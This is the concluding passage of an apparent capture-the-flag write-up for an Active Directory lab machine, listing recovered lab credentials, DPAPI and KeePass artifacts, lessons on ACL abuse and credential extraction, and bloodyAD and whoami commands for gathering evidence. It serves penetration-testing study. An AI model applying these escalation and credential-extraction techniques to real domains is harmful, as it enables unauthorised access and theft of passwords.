KeePass also contained unverified entries for JAMIE WILLIAMSON / JamieLove2025!, ADAM SILVER / HJKL2025!, STEVE TUCKER / Steve2025!, and SAMUEL BLAKE / ILY2025!. Do not infer AD accounts from display names and reuse them. HJKL2025! failed for adam.silver, and neither the target accounts nor validity of the other three were confirmed in this record.

ArtifactConfirmed contents
recovery.kdbxA 2677-byte KeePass database obtained with DEVELOPERS read access. Its password was liverpool.
site-backup-2024-12-30.zipA 4,639,546-byte backup readable from C:\Backups. It contained steph.cooper’s LDAP bind password.
DPAPI Master Key / Credential BlobsOne Master Key and two Blobs associated with steph.cooper’s SID ...-1107. Only the Enterprise Blob yielded the next domain password.
user flagC:\Users\adam.silver\Desktop\user.txt: [REDACTED]
root flagC:\Users\Administrator\Desktop\root.txt: [REDACTED]
  • Read AD in terms of writable attributes, not a “tool path.” Examine member, servicePrincipalName, userAccountControl, group membership, and ACEs on the target object. Verify separately which attributes GenericWrite affects and over whom GenericAll is held.
  • Separate authentication from authorization. SMB credential success, the KDC’s KDC_ERR_CLIENT_REVOKED, a missing WinRM ccache, and the Remote Management Users relationship are distinct observations. For Kerberos, use the error message to identify whether the FQDN, realm, time, or ccache is missing.
  • Examine shares made readable through group membership. Finding the share name is not enough; enumerate the ACL again after the membership change and confirm READ. In a development share, prioritize recovery databases, configuration backups, and deployment artifacts.
  • Read stored credentials in layers. Do not stop at Credentials: connect the Blob’s Master Key GUID, Protect\<SID>, and that user’s password/SID. Local and Enterprise Blobs differ; decrypt both and use the output to determine their purpose.
  • A short CPTS review checklist. After a foothold, inspect stored credentials/Credential Manager, DPAPI Credentials and Protect, backups, PowerShell history, application settings, services, scheduled tasks, and writable paths in light of the current user’s rights and file ACLs. From the large output of enumeration tools, focus on actionable observations such as Master Keys, credential files, service/task paths, and writable locations.

The essence of this box was connecting each observation to the next action, rather than merely following a standard BloodHound -> bloodyAD -> Impacket sequence. In AD, ACLs differ by target attribute, so verify each graph edge through an LDAP write and subsequent read. At a Windows foothold, even weak token privileges may still allow movement across another permission boundary through directory names under C:\, backups, application settings, and DPAPI data in user profiles. When names such as C:\Backups, C:\inetpub, and C:\StorageReports appear, examine meaningful narrow areas before searching the entire drive.

Failures can also distinguish layers rather than disprove the path. Lack of KDBX4 support was a tool compatibility issue; KDC_ERR_CLIENT_REVOKED reflected account state; No Kerberos credentials available reflected ticket selection; and the Evil-WinRM download exception was a transfer implementation problem. Recording the error string, target attribute, and successful prompt or reread together makes the same misdiagnosis less likely next time.

  • Retrieve levi.james’s DEVELOPERS membership before the change, the raw BloodHound ACEs/query, and LDAP evidence of adam.silver and steph.cooper membership in Remote Management Users.
  • Capture successful stdout from getTGT.py after enabling adam.silver; whoami, whoami /groups, and whoami /priv in the final steph.cooper_adm session; and the Administrator Desktop ACL. This would establish the final privileges precisely.
  • After cleanup, read DEVELOPERS membership and adam.silver.userAccountControl again. The original password was not recorded, so do not claim successful restoration without an administrator’s known value or a box reset.
  • Capture keepass2john --version, keepassxc-cli --version, command -v keepassxc-cli kpxc-cli, the archive extraction command, and the time difference from Puppy itself. This would make tool compatibility and the Kerberos time correction reproducible.

These commands were not run in this log. When collecting evidence again, run them and save the output. Run the first two while ant.edwards still has the necessary rights and the remaining four in the final WinRM session.

Terminal window
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get membership levi.james
bloodyAD -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get object adam.silver --attr userAccountControl
Terminal window
whoami
whoami /groups
whoami /priv
icacls 'C:\Users\Administrator\Desktop'